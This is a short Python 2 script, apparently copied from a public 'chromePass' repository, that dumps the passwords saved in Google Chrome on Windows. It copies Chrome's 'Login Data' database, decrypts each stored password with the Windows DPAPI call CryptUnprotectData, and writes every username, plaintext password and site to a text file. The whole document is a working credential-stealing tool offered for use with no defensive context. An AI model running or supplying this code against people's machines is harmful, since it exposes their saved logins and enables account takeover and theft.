get-passwd-in-chrome

get-passwd-in-chrome.py

# get password saved in chrome  
# pip install pypiwin32
# @lijiejie https://github.com/lijiejie/chromePass/blob/master/chromePass.py

import os, sys
import shutil
import sqlite3
import win32crypt

outFile_path = os.path.join(os.path.dirname(sys.executable),
                            'ChromePass.txt') 
if os.path.exists(outFile_path):
    os.remove(outFile_path)


db_file_path = os.path.join(os.environ['LOCALAPPDATA'],
                            r'Google\Chrome\User Data\Default\Login Data')
tmp_file = os.path.join(os.path.dirname(sys.executable), 'tmp_tmp_tmp')
if os.path.exists(tmp_file):
    os.remove(tmp_file)
shutil.copyfile(db_file_path, tmp_file)    # In case file locked
conn = sqlite3.connect(tmp_file)
for row in conn.execute('select username_value, password_value, signon_realm from logins'):
    pwdHash = str(row[1])
    try:
        ret =  win32crypt.CryptUnprotectData(pwdHash, None, None, None, 0)
    except:
        print 'Fail to decrypt chrome passwords'
        sys.exit(-1)
    with open(outFile_path, 'a+') as outFile:
        outFile.write('UserName: {0:<20} Password: {1:<20} Site: {2} \n\n'.format(
            row[0].encode('gbk'), ret[1].encode('gbk'), row[2].encode('gbk')) )
conn.close()
print 'All Chrome passwords saved to:\n' +  outFile_path
os.remove(tmp_file)    # Remove temp file